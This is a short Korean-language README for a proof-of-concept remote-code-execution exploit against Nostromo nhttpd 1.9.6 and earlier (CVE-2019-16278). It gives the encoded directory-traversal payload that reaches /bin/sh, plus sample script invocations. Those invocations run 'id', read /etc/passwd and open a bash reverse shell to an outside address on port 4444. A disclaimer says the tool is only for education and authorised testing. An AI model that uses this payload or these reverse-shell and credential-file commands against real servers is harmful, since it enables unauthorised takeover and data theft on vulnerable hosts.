
Nostromo nhttpd ≤ 1.9.6용 PoC RCE 익스플로잇
HTTP 요청 처리 과정의 디렉터리 경로 탐색(directory traversal)을 통해 Nostromo nhttpd 1.9.6 이하 버전에서 발생하는 원격 코드 실행(RCE) 취약점입니다.
이 익스플로잇은 URL 인코딩된 CRLF 문자(%0d)를 사용한 디렉터리 경로 탐색 취약점을 악용하여 /bin/sh에 접근하고 임의의 명령을 실행합니다.
/.%0d./.%0d./.%0d./.%0d./bin/shecho\necho\n<command> 2>&1python3 cve-2019-16278.py <TARGET_IP> <PORT> <COMMAND>
python3 cve-2019-16278.py 192.168.1.100 80 "id"
python3 cve-2019-16278.py 10.10.10.10 8080 "cat /etc/passwd"
python3 cve-2019-16278.py target.com 80 "whoami"
python3 cve-2019-16278.py 10.10.10.10 80 "bash -c 'bash -i >& /dev/tcp/10.10.20.20/4444 0>&1'"
Reverse shell Recomended, sometimes this script show nothing
이 도구는 교육 및 승인된 보안 테스트 목적으로만 사용됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다.